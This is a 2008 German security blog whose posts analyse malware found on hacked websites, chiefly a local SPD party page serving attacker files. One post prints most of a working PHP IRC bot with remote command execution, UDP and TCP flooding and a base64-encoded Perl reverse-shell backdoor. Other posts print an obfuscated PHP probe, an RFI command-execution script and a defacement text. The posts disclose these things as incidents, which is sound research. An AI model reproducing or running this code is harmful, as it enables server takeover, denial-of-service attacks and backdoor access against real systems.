blog.grospolina.net

[wirres]Holz spalten...

nospam@example.com (katsumi) — Mon, 29 Dec 2008 20:12:10 +0100

Holz spalten macht man weder mit google noch mit Golfschlägern,
sondern mit Zit(r)onenbeschuss!
Grüsse, trunkenes kat

[malware]Webauftritt des SPD Ortsverbandes Esens verteilt immer noch pbots

nospam@example.com (katsumi) — Thu, 11 Dec 2008 02:07:18 +0100

In dem Artikel vom 12.Oktober 2008 könnt Ihr lesen,
dass die Webseite des SPD Ortsverbandes Esens gehackt wurde.
Heute, am 11. Dezember sieht es nicht besser aus.
NIEMANDen interessiert, was dort auf der Seite zum Herunterladen abgelegt wurde!
Doch! Mich interessiert es!
Ich zeige Euch einen php-bot, der dort zum Verteilen bereitliegt:

CODE:

[research@vbox2 ~]$ date && curl http://spd-esens.de/spd/contentimage/pbot.gif > pbot.txt Do 11. Dez 02:27:12 CET 2008 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 21718 100 21718 0 0 54026 0 --:--:-- --:--:-- --:--:-- 133k [research@vbox2 ~]$ cat pbot.txt <? set_time_limit(0); error_reporting(0); echo "h4ck3d"; class pBot { var $config = array("server"=>"irc.oltreirc.net", "port"=>"6667", "pass"=>"", "prefix"=>"k0d", "maxrand"=>"4", "chan"=>"##rox4##", "chan2"=>"##rox4##", "key"=>"123457", "modes"=>"+p", "password"=>"rox", "trigger"=>".", "hostauth"=>"*" // * for any hostname (remember: /setvhost xdevil.org) ); var $users = array(); function start() { if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); $ident = $this->config['prefix']; $alph = range("0","9"); for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,9)]; if(strlen($this->config['pass'])>0) $this->send("PASS ".$this->config['pass']); $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname().""); $this->set_nick(); $this->main(); } function main() { while(!feof($this->conn)) { $this->buf = trim(fgets($this->conn,512)); $cmd = explode(" ",$this->buf); if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); } if(isset($cmd[1]) && $cmd[1] =="001") { $this->send("MODE ".$this->nick." ".$this->config['modes']); $this->join($this->config['chan'],$this->config['key']); if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)"); $this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI'].""); } if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); } if($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf," :"),2); $msgcmd = explode(" ",$msg); $nick = explode("!",$cmd[0]); $vhost = explode("@",$nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0],1); $host = $cmd[0]; if($msgcmd[0]==$this->nick) { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1]; } else { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i]; } if(count($cmd)>2) { switch($cmd[1]) { case "QUIT": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PART": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PRIVMSG": if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "user": if($mcmd[1]==$this->config['password']) { $this->log_in($host); } else { $this->notice($this->config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!"); } break; } } } elseif($this->is_logged_in($host)) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "restart": $this->send("QUIT :restart commando from $nick"); fclose($this->conn); $this->start(); break; case "mail": //mail to from subject message if(count($mcmd)>4) { $header = "From: <".$mcmd[2].">"; if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) { $this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail."); } else { $this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2"); } } break; case "safe": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode.""); break; case "inbox": //teste inbox if(isset($mcmd[1])) { $token = md5(uniqid(rand(), true)); $header = "From: <inbox".$token."@X-Ide.com>"; $a = php_uname(); $b = getenv("SERVER_SOFTWARE"); $c = gethostbyname($_SERVER["HTTP_HOST"]); if(!mail($mcmd[1],"InBox Test","#crew@corp. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERV ER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: wicked\nby: dvl <marcsown@hotmail.com>",$header)) { $this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send"); } else { $this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2"); } } break; case "conback": if(count($mcmd)>2) { $this->conback($mcmd[1],$mcmd[2]); } break; case "dns": if(isset($mcmd[1])) { $ip = explode(".",$mcmd[1]); if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); } } break; case "info": case "vunl": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)"); $this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI'].""); break; case "bot": $this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; #crew@corp."); break; case "uname": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)"); break; case "rndnick": $this->set_nick(); break; case "raw": $this->send(strstr($msg,$mcmd[1])); break; case "eval": $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1]))); break; case "sexec": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = shell_exec($command); $ret = explode("\n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "exec": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = exec($command); $ret = explode("\n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "passthru": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = passthru($command); $ret = explode("\n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "popen": if(isset($mcmd[1])) { $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $this->privmsg($this->config['chan'],"[\2popen\2]: $command"); $pipe = popen($command,"r"); while(!feof($pipe)) { $pbuf = trim(fgets($pipe,512)); if($pbuf != NULL) $this->privmsg($this->config['chan']," : $pbuf"); } pclose($pipe); } case "system": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = system($command); $ret = explode("\n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; SNIP---SNAP } else { $this->nick = "[C]"; } $this->nick .= $this->config['prefix']; for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9); $this->send("NICK ".$this->nick); } function udpflood($host,$packetsize,$time) { $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); } $timei = time(); $i = 0; while(time()-$timei < $time) { $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5); fwrite($fp,$packet); fclose($fp); $i++; } $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s "); } function tcpflood($host,$packets,$packetsize,$port,$delay) { $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) { $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>"); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port."); } function conback($ip,$port) { $this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port"); $dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAi VXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1 ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xc biIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb2 5uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlm ICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy 1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw=="; if (is_writable("/tmp")) { if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); } $fp=fopen("/tmp/dc.pl","w"); fwrite($fp,base64_decode($dc_source)); passthru("perl /tmp/dc.pl $ip $port &"); unlink("/tmp/dc.pl");

gekürzt
Am Ende des Skriptes findet ihr einen base64 codierten Teil, der als backdoor auf den infizierten Seiten dient.
darüber später mehr ...

Dshield.org - Web Application Honeypot

nospam@example.com (katsumi) — Tue, 25 Nov 2008 11:20:08 +0100

Wie mir in einem Newsletter mitgeteilt wurde,
entwickelt dshield.org einen php-basierten "Web Application Honeypot".
Ihr könnt Euch auf Google-Code ein Bild vom Fortschritt der Entwicklung machen.
Ihr solltet Euch, wenn Ihr helfen möchtet, zunächst auf secure.dshield.org registrieren.
Dort könnt Ihr dann das tarball herunterladen.
Im Grunde besteht es nur aus einer index.php und templates,
die unterhalb des www-Pfades liegen.
Es lassen sich einfach neue templates hinzufügen,
deren Aufruf man in einer Konfigurationsdatei per RegEx steuern kann.
Ich denke das ganze ist einen Blick wert.

Holz aus Brasilien - this is fuckin cr4nk

nospam@example.com (katsumi) — Mon, 24 Nov 2008 09:03:43 +0100

Nachdem ich den freundlichen Kommentar von haterbreed entdeckt hatte,
habe ich einmal die gleiche Google-Suche gestartet, wie er es tat.
Neben meinem blog hier gabs auch noch andere Ergebnisse,
wie zum Beispiel diesen:
google cache von brasilwood.eu
Falls der Cache nicht mehr die ersetzte Seite zeigt,
habe ich hier einmal nen screenshot hinterlegt:

Klicken zum Vergrössern!

...oder hier den Text:

CODE:

Herzlichen Glückwunsch, sie wurden gehackt, besser gesagt ihr Webhoster. Wir haben aber keine Interesse an ihren Daten und behalten uns vor irgendwelche Daten gestohlen zu haben, was wir mit Sicherheit getan haben. Safe the Urwald and dont kaufe Holz aus Brasilien IHR SEID FÜR DIE GLOBALE ERWÄHRMUNG DER ERDE VERANTWORTLICH. HOLZ HAT AUCH gefühle. Einen schönen Tag Ihre Verbraucherschützer well0ne und haterbreed Autogramme gibts unter: irc.unixunited.net #hilfeichwurdegehackt Grettings to: unixunited, tng, Alpha-Accz und Satyr

Nanu? cr4nk hat politische Intention?
Wer weiss.

Crank - this is fuckin cr4nk

nospam@example.com (katsumi) — Thu, 06 Nov 2008 17:36:24 +0100

CODE:

##################################################################### # +------------------+ # # | ___ | Crank # # | _ (,~ | _ | this is fuckin cr4nk # # | (____/ |____) | # # | ||||| ||||| | if your skilld in perl,php,c,c++ # # | ||||| ||||| | Contact: cr4nk.sx.am # # | |||||\ /||||| | cr4nk.6x.to # # | |||'//\/\\`||| | # # | |' m' /\ `m `| | wh00ps nothin more here # # | /||\ | # # \_ _/ # # `------------' # ##################################################################### $x0b="in\x69_\147\x65\x74"; $x0c="\163tr\x74o\154\x6fwe\x72"; echo "c\162\141\156k\x5fr\157c\x6bs";if (@$x0b("\163\x61\x66e_\x6d\15 7\144e") or $x0c(@$x0b("\x73a\x66\x65_m\x6fde")) == "\x6f\x6e"){echo " \123a\146\x65\155od\145\x3ao\156";}else {echo "\123a\146e\x6do\x64e:\x 6ff\x66";}exit(); ?>

crank?
crank.ws ist Geschichte.
Viel Spass beim Nachforschen!

Webseite des SPD Ortsverbandes Esens-Nord gehackt

nospam@example.com (katsumi) — Sun, 12 Oct 2008 12:06:37 +0200

Damit mir nicht jemand vorwirft ich sei politisch,
veröffentliche ich hier einmal den Link zum responsefile,
das Teil eines Angriffes auf eine meiner domains war:
(...auch die SPD hilft beim Verteilen von RFI/LFI/SQLI bots)

http://spd-esens.de/spd/contentimage/bid.txt

Oder ist sowas nur interessant, wenn es beim jährlichen CCC Treffen passiert?

CODE:

<?php echo "549821347819481<br />"; //VaRiaBiLi Di SiSTeMa $uname = @php_uname(); //eCHo echo "uname -a: $uname<br />"; //SAFE OFF if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ $contrs=0; } else{ ini_restore("safe_mode"); ini_restore("open_basedir"); if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ $contrs=0;} else{ $contrs=1; }} if($contrs == 0) { echo("uid="); } function view_size($size) { if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} else {$size = $size . " B";} return $size; } function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); }} return $res; } exit; ?>

...mal sehen wielange es dauert bis die Datei entfernt wird.

UPDATE: ...noch nicht entfernt

CODE:

Thu Oct 16 19:48:23 CEST 2008 --19:48:23-- http://spd-esens.de/spd/contentimage/bid.txt => `bid.txt' Resolving spd-esens.de... 87.238.199.52 Connecting to spd-esens.de|87.238.199.52|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1,360 (1.3K) [text/plain] 100%[==================================================================================================================>] 1,360 --.--K/s 19:48:24 (41.84 MB/s) - `bid.txt' saved [1360/1360]

oO
Continue reading "Webseite des SPD Ortsverbandes Esens-Nord gehackt"

onspeed.com als Beschleuniger für hacker

nospam@example.com (katsumi) — Fri, 03 Oct 2008 16:44:50 +0200

onspeed.com ist laut deren Webseite ein Dienst,
der langsame Verbindungen beim browsen beschleunigen soll.
Wenn ich dies richtig verstanden habe,
bekommt man für knapp 25 Dollars Zugang zu einem Service,
der Browseranfragen aus einem Cache mit gepackten Daten beantwortet. (deflate)
Ebenso ist es aber dadurch möglich,
RFI scans mit einer ziemlich hohen Geschwindigkeit durchzuführen.
Das soll jetzt keine Werbung sein.
Ich meine das ernst.
onspeed hat bisher nicht auf meine mails geantwortet,
daher nun meine Empfehlung an alle Admins, Hostmaster und was immer folgende domains/IPs zu blocken:

Stand  3.10.2008 17:05
domain                              IP
---------------------------------------------------------
navaho.onspeed.com  	72.3.137.82
yuma.onspeed.com 	72.3.137.83
vanadium.onspeed.com 	83.138.172.72
chromium.onspeed.com 	83.138.172.76
silicon.onspeed.com 	 212.100.250.218
sulphur.onspeed.com 	212.100.250.225
aluminium.onspeed.com 	 212.100.250.217
nickel.onspeed.com     212.100.250.230

Ich persönlich habe kein Problem damit etwas grosszügiger zu sein:

72.3.137.0/24
83.138.172.0/24
212.100.250.0/24

Hier ein Auszug aus der abuse mail:

Continue reading "onspeed.com als Beschleuniger für hacker"